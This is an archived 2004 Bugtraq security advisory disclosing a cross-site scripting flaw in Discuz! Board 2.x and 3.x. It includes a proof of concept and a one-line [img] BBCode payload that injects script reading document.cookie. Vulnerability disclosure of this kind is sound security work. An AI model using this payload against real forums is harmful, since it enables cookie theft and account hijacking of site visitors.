[33478] in bugtraq

home help back first fref pref prev next nref lref last post

Possible Cross Site Scripting in Discuz! Board

daemon@ATHENA.MIT.EDU (Cheng Peng Su)
Fri Feb 6 14:35:29 2004

Date: 5 Feb 2004 11:38:14 -0000
Message-ID: <20040205113814.26695.qmail@www.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Cheng Peng Su <apple_soup@msn.com>
To: bugtraq@securityfocus.com



Advisory Name:Possible Cross Site Scripting in Discuz! Board
Release Date: Feb 5,2004
Application: Discuz! Board
Version Affected: 2.x , 3.x
Platform: PHP
Severity: Low
Discover: Cheng Peng Su(apple_soup_at_msn.com)
Vendor URL: http://www.discuz.com/
################################################
Proof Of Concept:
   A thread including:
       [img]http://a.gif');(xss code);a=escape('a[/img]
   will be 
       <img src="http://a.gif');(xss code);a=escape=('a" border="0" onload="if(this.width>screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window';}" onmouseover="if(this.resized) this.style.cursor='hand';" onclick="if(this.resized) window.open('http://site/pic.gif');(xss code);a=escape('a');">

   So there will be a red 'x' instead of a normal pic,if visitor click the red 'x',the code will be executed.
   I think you know why i add " ;a=escape('a " after the xss code.

Exploit:
   [img]http://a.gif');alert(document.cookie);a=escape=('a[/img]

home help back first fref pref prev next nref lref last post